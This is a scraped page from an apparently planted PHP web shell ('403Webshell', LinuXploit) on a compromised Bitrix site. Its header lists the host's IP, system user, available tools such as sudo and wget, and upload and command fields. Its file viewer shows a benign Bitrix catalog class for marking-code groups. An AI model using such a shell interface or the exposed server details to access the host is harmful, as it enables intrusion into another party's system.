403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/catalog/lib/product/systemfield/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/catalog/lib/product/systemfield/markingcodegroup.php
<?php

namespace Bitrix\Catalog\Product\SystemField;

use Bitrix\Main;
use Bitrix\Main\Config\Option;
use Bitrix\Main\Localization\LanguageTable;
use Bitrix\Main\Localization\Loc;
use Bitrix\Catalog;
use Bitrix\Catalog\Grid\Panel\ProductGroupAction;
use Bitrix\UI;

class MarkingCodeGroup extends Highloadblock
{
	public const FIELD_ID = 'MARKING_CODE_GROUP';

	protected const SHORT_FIELD_ID = 'PRODUCT_GROUP';

	public const TYPE_ID = Catalog\Product\SystemField\Type\HighloadBlock::class;

	protected const VALUE_NAME_PREFIX = 'MARKING_CODE_GROUP_TYPE_';

	protected const USE_PARENT_PRODUCT_VALUE = -1;
	protected const USE_PARENT_PRODUCT_XML_VALUE = 'PARENT_MARKING_GROUP';

	public static function getConfig(): ?array
	{
		if (!static::isAllowed())
		{
			return null;
		}

		/** @var Catalog\Product\SystemField\Type\HighloadBlock $className */
		$className = static::getTypeId();
		$fieldId = static::getFieldId();

		$result = [
			'HIGHLOADBLOCK' => [
				'TABLE_NAME' => $className::getTableName($fieldId),
				'NAME' => $className::getName($fieldId),
				'FIELDS' => static::getHighloadblockFields(),
				'RIGHTS' => $className::getDefaultRights(),
				'TRANSFORM_VALUES' => static::getHighloadblockTransformValues(),
				'VALUES' => static::getHighloadblockValues(),
			],
			'FIELD' => self::getUserFieldBaseParam() + [
				'SORT' => 100,
				'SHOW_FILTER' => 'S',
				'SHOW_IN_LIST' => 'Y',
				'EDIT_IN_LIST' => 'Y',
				'IS_SEARCHABLE' => 'N',
				'SETTINGS' => $className::getDefaultSettings(),
			],
			'FIELD_CONFIG' => [
				'HLFIELD_ID' => 'UF_NAME',
			],
		];

		$titles = static::getMessages(
			__FILE__,
			['TITLES' => 'MARKING_CODE_GROUP_STORAGE_TITLE',]
		);

		$result['HIGHLOADBLOCK'] = $result['HIGHLOADBLOCK'] + $titles;

		$result['FIELD'] += static::getMessages(
			__FILE__,
			[
				'EDIT_FORM_LABEL' => 'MARKING_CODE_GROUP_FIELD_TITLE',
				'LIST_COLUMN_LABEL' => 'MARKING_CODE_GROUP_FIELD_TITLE',
				'LIST_FILTER_LABEL' => 'MARKING_CODE_GROUP_FIELD_TITLE',
			]
		);

		return $result;
	}

	public static function isAllowed(): bool
	{
		/** @var Catalog\Product\SystemField\Type\HighloadBlock $className */
		$className = static::getTypeId();

		if (!$className::isAllowed())
		{
			return false;
		}

		return Main\Application::getInstance()->getLicense()->getRegion() === 'ru';
	}

	protected static function getTitleInternal(): ?string
	{
		return Loc::getMessage('MARKING_CODE_GROUP_FIELD_TITLE');
	}

	public static function getUserFieldBaseParam(): array
	{
		/** @var Catalog\Product\SystemField\Type\HighloadBlock $className */
		$className = static::getTypeId();

		return [
			'ENTITY_ID' => Catalog\ProductTable::getUfId(),
			'FIELD_NAME' => static::getUserFieldName(self::SHORT_FIELD_ID),
			'USER_TYPE_ID' => $className::getUserTypeId(),
			'XML_ID' => static::getFieldId(),
			'MULTIPLE' => 'N',
			'MANDATORY' => 'N',
		];
	}

	/**
	 * @return array
	 */
	protected static function getHighloadblockFields(): array
	{
		$result = [];

		$fieldSettings = [
			'XML_ID' => [
				'DEFAULT_VALUE' => '',
				'SIZE' => 16,
				'ROWS' => 1,
				'MIN_LENGTH' => 0,
				'MAX_LENGTH' => 0,
				'REGEXP' => '/^[0-9]{1,16}$/'
			],
			'NAME' => [
				'DEFAULT_VALUE' => '',
				'SIZE' => 100,
				'ROWS' => 1,
				'MIN_LENGTH' => 1,
				'MAX_LENGTH' => 255,
				'REGEXP' => ''
			]
		];

		$sort = 100;
		foreach (array_keys($fieldSettings) as $fieldId)
		{
			$messageList = static::getMessages(
				__FILE__,
				[
					'EDIT_FORM_LABEL' => 'MARKING_CODE_GROUP_UF_FIELD_'.$fieldId,
					'LIST_COLUMN_LABEL' => 'MARKING_CODE_GROUP_UF_FIELD_'.$fieldId,
					'LIST_FILTER_LABEL' => 'MARKING_CODE_GROUP_UF_FIELD_'.$fieldId
				]
			);

			$result[] = [
				'FIELD_NAME' => static::getUserFieldName($fieldId),
				'USER_TYPE_ID' => Main\UserField\Types\StringType::USER_TYPE_ID,
				'XML_ID' => $fieldId,
				'SORT' => $sort,
				'MULTIPLE' => 'N',
				'MANDATORY' => 'Y',
				'SHOW_FILTER' => 'S',
				'SHOW_IN_LIST' => 'Y',
				'EDIT_IN_LIST' => 'Y',
				'IS_SEARCHABLE' => 'N',
				'SETTINGS' => $fieldSettings[$fieldId],
			] + $messageList;
			$sort += 100;
		}

		return $result;
	}

	protected static function getHighloadblockValues(): array
	{
		$groupCodes = [
			'02',
			'03',
			'05',
			'17485',
			'8258',
			'8721',
			'9840',
			'06',
			'5010',
			'5137',
			'5139',
			'5140',
		];
		$groupTitles = Loc::loadLanguageFile(
			$_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/catalog/regionalsystemfields/markingcodegroup.php',
			'ru'
		);

		$result = [];
		foreach ($groupCodes as $id)
		{
			$result[] = [
				'UF_XML_ID' => $id,
				'UF_NAME' => $groupTitles[self::VALUE_NAME_PREFIX.$id]
			];
		}

		return $result;
	}

	protected static function getHighloadblockTransformValues(): array
	{
		return [
			[
				'OLD_XML_ID' => '5048',
				'NEW_XML_ID' => '17485',
			],
			[
				'OLD_XML_ID' => '5408',
				'NEW_XML_ID' => '17485',
			],
		];
	}

	protected static function getGridActionConfig(ProductGroupAction $panel): ?array
	{
		$catalog = $panel->getCatalogConfig();
		if (empty($catalog))
		{
			return null;
		}
		$allowForOffers =
			$catalog['CATALOG_TYPE'] === \CCatalogSku::TYPE_OFFERS
			&& self::isUsedMarkingOffer()
		;
		if (
			$catalog['CATALOG_TYPE'] !== \CCatalogSku::TYPE_CATALOG
			&& $catalog['CATALOG_TYPE'] !== \CCatalogSku::TYPE_FULL
			&& $catalog['CATALOG_TYPE'] !== \CCatalogSku::TYPE_PRODUCT
			&& !$allowForOffers
		)
		{
			return null;
		}

		$field = static::load();
		if (empty($field))
		{
			return null;
		}

		$config = [
			'USER_FIELD' => $field,
			'VISUAL' => [
				'LIST' => [
					'ID' => $panel->getFormRowFieldId($field['FIELD_NAME']),
					'NAME' => $panel->getFormRowFieldName($field['FIELD_NAME']),
				],
			],
		];

		if ($allowForOffers)
		{
			$config['ADDITIONAL_ITEMS'] = [
				'LIST' => [
					[
						'VALUE' => self::USE_PARENT_PRODUCT_VALUE,
						'NAME' => Loc::getMessage('MARKING_CODE_GROUP_MESS_USE_PARENT_PRODUCT_VALUE'),
					],
				]
			];
		}

		return $config;
	}

	public static function getAllowedProductTypeList(): array
	{
		$result = [
			Catalog\ProductTable::TYPE_PRODUCT,
			Catalog\ProductTable::TYPE_SKU,
		];
		if (self::isUsedMarkingOffer())
		{
			$result[] = Catalog\ProductTable::TYPE_OFFER;
		}

		return $result;
	}

	public static function checkRestictions(array $restrictions): bool
	{
		if (!parent::checkRestictions($restrictions))
		{
			return false;
		}

		if (isset($restrictions['IBLOCK_ID']) && !isset($restrictions['CATALOG']))
		{
			$iterator = Catalog\CatalogIblockTable::getList([
				'select' => [
					'*',
				],
				'filter' => [
					'=IBLOCK_ID' => $restrictions['IBLOCK_ID'],
				],
				'cache' => [
					'ttl' => 86400,
				]
			]);
			$row = $iterator->fetch();
			if (!empty($row))
			{
				$restrictions['CATALOG'] = $row;
			}
			unset($row, $iterator);
		}

		if (!empty($restrictions['CATALOG']) && is_array($restrictions['CATALOG']))
		{
			if ($restrictions['CATALOG']['SUBSCRIPTION'] === 'Y')
			{
				return false;
			}
		}

		return true;
	}

	public static function getAllowedOperations(): array
	{
		return [
			Catalog\Product\SystemField::OPERATION_PROVIDER,
			Catalog\Product\SystemField::OPERATION_EXPORT,
			Catalog\Product\SystemField::OPERATION_IMPORT,
		];
	}

	public static function getOperationSelectFieldList(string $operation): array
	{
		if (!static::isAllowed())
		{
			return [];
		}

		$fields = static::getUserFieldBaseParam();
		switch($operation)
		{
			case Catalog\Product\SystemField::OPERATION_PROVIDER:
			case Catalog\Product\SystemField::OPERATION_EXPORT:
			case Catalog\Product\SystemField::OPERATION_IMPORT:
				$result = [
					$fields['XML_ID'] => $fields['FIELD_NAME'],
				];
				break;
			default:
				$result = [];
				break;
		}

		return $result;
	}

	public static function prepareValue(string $operation, array $productRow): array
	{
		$field = static::load();
		if ($field === null)
		{
			return $productRow;
		}
		if (!array_key_exists($field['XML_ID'], $productRow))
		{
			return $productRow;
		}

		switch ($operation)
		{
			case Catalog\Product\SystemField::OPERATION_PROVIDER:
				$productRow = self::prepareValueForProvider($field, $productRow);
				break;
			case Catalog\Product\SystemField::OPERATION_IMPORT:
				$productRow = self::prepareValueForImport($field, $productRow);
				break;
			case Catalog\Product\SystemField::OPERATION_EXPORT:
				$productRow = self::prepareValueForExport($field, $productRow);
				break;
		}

		return $productRow;
	}

	private static function prepareValueForProvider(array $field, array $productRow): array
	{
		$value = $productRow[$field['XML_ID']];
		if ($value !== null)
		{
			$value = (int)$value;
		}
		if (self::isNeedParent($productRow))
		{
			if (
				!self::isUsedMarkingOffer()
				|| $value === self::USE_PARENT_PRODUCT_VALUE
			)
			{
				$productValue = self::getParentProductValue($productRow['ID'], $field);
				if ($value === self::USE_PARENT_PRODUCT_VALUE)
				{
					$value = $productValue;
				}
				else
				{
					$value = $productValue ?? $value;
				}
			}
		}

		$productRow[$field['XML_ID']] = ($value !== null
			? self::getXmlIdById($field['SETTINGS']['HLBLOCK_ID'], (int)$value)
			: null
		);

		return $productRow;
	}

	private static function prepareValueForImport(array $field, array $productRow): array
	{
		$value = $productRow[$field['XML_ID']];
		if ($value === self::USE_PARENT_PRODUCT_XML_VALUE)
		{
			$productRow[$field['FIELD_NAME']] = self::USE_PARENT_PRODUCT_VALUE;
		}
		else
		{
			$productRow[$field['FIELD_NAME']] = ($value !== null
				? self::getIdByXmlId($field['SETTINGS']['HLBLOCK_ID'], $value)
				: null
			);
		}
		unset($productRow[$field['XML_ID']]);

		return $productRow;
	}

	private static function prepareValueForExport(array $field, array $productRow): array
	{
		$value = $productRow[$field['XML_ID']];
		if ($value !== null)
		{
			$value = (int)$value;
		}
		if ($value === self::USE_PARENT_PRODUCT_VALUE)
		{
			$productRow[$field['XML_ID']] = self::USE_PARENT_PRODUCT_XML_VALUE;
		}
		elseif ($value !== null)
		{
			$productRow[$field['XML_ID']] = self::getXmlIdById(
				$field['SETTINGS']['HLBLOCK_ID'],
				$value
			);
		}

		return $productRow;
	}

	private static function isNeedParent(array $productRow): bool
	{
		return
			isset($productRow['ID'])
			&& isset($productRow['TYPE'])
			&& (int)$productRow['TYPE'] === Catalog\ProductTable::TYPE_OFFER
		;
	}

	private static function isUsedMarkingOffer(): bool
	{
		return Option::get('catalog', 'use_offer_marking_code_group') === 'Y';
	}

	private static function getParentProductValue(int $id, $field): ?string
	{
		$result = null;
		$parentsList = \CCatalogSku::getProductList($id);
		if (!empty($parentsList) && isset($parentsList[$id]))
		{
			$row = Catalog\ProductTable::getRow([
				'select' => [
					'ID',
					$field['FIELD_NAME'],
				],
				'filter' => [
					'=ID' => $parentsList[$id]['ID'],
				],
			]);
			if ($row !== null)
			{
				$result = $row[$field['FIELD_NAME']];
			}
		}

		return $result;
	}

	protected static function afterLoadInternalModify(array $row): array
	{
		$row = parent::afterLoadInternalModify($row);
		if (empty($row['SETTINGS']) || !is_array($row['SETTINGS']))
		{
			$row['SETTINGS'] = [];
		}
		$row['SETTINGS']['HLBLOCK_ID'] = (int)($row['SETTINGS']['HLBLOCK_ID'] ?? 0);
		$row['SETTINGS']['HLFIELD_ID'] = (int)($row['SETTINGS']['HLFIELD_ID'] ?? 0);

		return $row;
	}

	public static function updateProductFormConfiguration(): void
	{
		if (!static::isAllowed())
		{
			return;
		}
		$field = static::load();
		if ($field === null)
		{
			return;
		}

		Catalog\Update\UiFormConfiguration::addFormField(
			[
				'name' => $field['FIELD_NAME'],
				'optionFlags' => '1',
				'options' => [
					'showCode' => 'true',
				]
			],
			Catalog\Update\UiFormConfiguration::PARENT_SECTION_MAIN
		);
	}

	public static function renderAdminFormControl(array $field, array $product, array $config): ?string
	{
		$result = parent::renderAdminFormControl($field, $product, $config);
		if ($result !== null)
		{
			if ($product['TYPE'] === Catalog\ProductTable::TYPE_OFFER)
			{
				$parentSelected = (int)$field['VALUE'] === self::USE_PARENT_PRODUCT_VALUE;
				$addOption = '<option value="' . self::USE_PARENT_PRODUCT_VALUE . '"'
					. ($parentSelected ? ' selected' : '')
					. '>' . htmlspecialcharsbx(Loc::getMessage('MARKING_CODE_GROUP_MESS_USE_PARENT_PRODUCT_VALUE'))
					. '</option>'
				;
				if ($parentSelected)
				{
					$result = str_replace('selected', '', $result);
				}
				$index = strpos($result, '</option>');
				if ($index !== false)
				{
					$index += 9; //  after first option
					$result = substr($result, 0, $index)
						. $addOption
						. substr($result, $index)
					;
				}
			}
		}

		return $result;
	}

	protected static function getUiDescriptionInternal(array $description, array $userField, array $restrictions): ?array
	{
		$description['type'] = UI\EntityForm\Control\Type::LIST;

		$config = [
			'RESULT' => [
				'RETURN_FIELD_ID' => 'Y',
			],
		];

		if (
			isset($restrictions['TYPE'])
			&& $restrictions['TYPE'] === Catalog\ProductTable::TYPE_OFFER
			&& self::isUsedMarkingOffer()
		)
		{
			$config['ADDITIONAL_ITEMS'] = [
				'LIST' => [
					0 => [
						'ID' => (string)self::USE_PARENT_PRODUCT_VALUE,
						'VALUE' => (string)self::USE_PARENT_PRODUCT_VALUE,
						'NAME' => Loc::getMessage('MARKING_CODE_GROUP_MESS_USE_PARENT_PRODUCT_VALUE'),
					]
				]
			];
		}

		$items = Type\HighloadBlock::getItems($userField, $config);
		if ($items !== null)
		{
			$description['data'] += [
				'items' => $items
			];
		}
		unset($items);

		return $description;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit